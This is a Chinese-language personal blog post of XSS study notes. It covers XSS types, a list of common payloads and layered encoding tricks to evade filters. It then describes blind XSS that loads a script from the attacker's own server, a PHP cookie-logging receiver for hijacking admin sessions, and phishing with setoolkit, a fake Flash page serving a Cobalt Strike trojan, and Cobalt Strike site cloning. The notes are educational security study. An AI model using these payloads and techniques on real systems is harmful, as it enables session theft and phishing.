XSS学习

Sl0th Lv4

XSS

基础

简介

攻击者在网页中嵌入客户端脚本,主要利用js编写的恶意代码来执行一些想要的功能

同源策略

同源策略是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须有相同的URI、主机名和端口号,一旦两个网站满足上述条件,这两个网站就被认定为具有相同来源

image-20220818210936052
image-20220818210936052

分类

依据效果可分为三类

  • 反射型: 非持久性XSS攻击,当用户访问已被插入攻击代码的链接时,服务器端就会接收并处理带有攻击代码的数据,然后返回到浏览器中,完成攻击,这个过程就像一次反射。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗

  • 存储型:持久型XSS攻击,攻击者把攻击代码永久存储在目标服务器上中,例如数据库,消息论坛,留言板,访问者日志等。当用户进入页面,代码就会被执行。

  • DOM 型:DOM型与前两者的差别是,只在客户端进行解析,不需要服务器的解析响应

反射型

特点:非持久化,必须用户点击带有特定参数的链接才可以起作用

一个简单的例子,点击后跳转百度

1
<script>alert("点击此处修复");location.href="https://www.baidu.com"</script>

常出现在get方式传参

储存型

在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤,页面再次执行XSS代码。

特点:可以持续攻击。

最有可能出现的位置:留言板、评论区、用户头像、个性签名、博客等等。

写入留言板

1
2
3
<script type="text/javascript">
window.location.replace("https://www.baidu.com");
</script>

访问时会自动跳转百度

Dom型

JavaScript伪协议

  • Data伪协议:

data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=

  • JavaScript伪协议:

onfocus=javascript:alert("1")

<a href=javascript:alert('xss') > xss</a>

常见绕过方式

1
<input type = "button"  value = "clickme" οnclick="alert(‘click me‘)" />
  • 闭合网页中的标签,使自己的xss可以被执行(//可以注释后面的内容)
1
“><script>alert(“Hi”);</script> //
  • 针对开启了magic_quotes_gpc(这个是PHP中的安全设置)的网站,我们可以通过javascript中的String.fromCharCode方法来绕过

  • 可以使用javascript: 伪协议的方式构造XSS

    1
    <a href="javascript:alert(/xss/)">You can trust me!</a>

XSS常用payload:

1
2
3
4
5
<script>alert(1)</script>
<a href=javascript:alert(1)>XSS</a> // 用户点击a标签时出发href属性(跳转到href或执行js)
<img src=x onerror=alert(1) /> // 当img标签的src属性无效时,会出发onerror事件
<input onmouseover=alert(1) /> // 当鼠标移过input标签时会触发onmouseover事件
<style onload=alert(1)></style> // 当style标签载入成功时会触发onload事件

编码混淆

一定要遵循浏览器的规则才可以确保代码能够被浏览器理解!!!

(1)混合编码

如:对<a href=javascript:alert(/XSS/)>test</a>编码

1
<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74:\u0061\u006c\u0065\u0072\u0074(/XSS/)">test</a>

其中对JavaScript进行了html实体编码 对alert进行了Unicode编码 ,这样一来在保证代码能够正常执行的前提下,还可以绕过一些防护

2)二层混淆

二层混淆就是对XSS代码在遵循浏览器解码规则的情况下进行两次编码,让防护软件无法理解XSS代码,进而绕过防护软件。

  • javascript(最后) < unicode(其次) < html(最先被解码)
1
<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(/XSS/)">test</a>

上面的alert经过了双重编码,先是Unicode编码,然后又经过Url编码(所有字符都要编码),这里提供一个网站在线urlencode编码、urldecode解码、url编码解码、百分号编码 ,JavaScript依旧是html实体编码

3)三层混淆

三层混淆就是在二层混淆的基础上再增加一次编码,让防护软件无法理解,前提还是要遵循浏览器的解析规则,使代码能够被浏览器理解!!!

还是以上面那个为例,只要将alert再进行一次html实体编码即可

实战XSS思路

https://www.sqlsec.com/2020/10/xss2.html

盲打

输入处直接拼接js代码,访问自己服务器上的js文件

1
<script src="http://10.20.24.244/xss/myjs/x.js"></script>

也可以去掉双引号

1
<script src=http://10.20.24.244/xss/myjs/x.js></script>

当对方查看我们输入表单内容时(一般是后在查看),可以利用js代码获取其cookie以及后台url,这样就可以以管理员身份登录

1
alert(document.cookie);

也可以在服务区上写个php

1
2
3
4
5
6
7
8
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>

SET钓鱼

set工具生成与后台页面相同网页,诱导管理员点击

可以直接用XSS的链接跳转

1
<script>window.location.href="http://10.20.25.39/"</script>

mac终端使用setoolkit,运行

1
2
social-engineer-toolkit  
sudo setoolkit

Flash钓鱼

模仿的 Flash Player 中文官网的页面

img
img

点击会下载准备好的CS马

CS钓鱼

Cobalt Strike 也是可以轻松构建出一个钓鱼网站的,操作也比较简单:

「攻击」-「钓鱼攻击」-「克隆网站」:

img
img

image-20221001211618566
image-20221001211618566

  • 标题: XSS学习
  • 作者: Sl0th
  • 创建于 : 2022-05-14 00:10:51
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2022/05/14/XSS学习/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论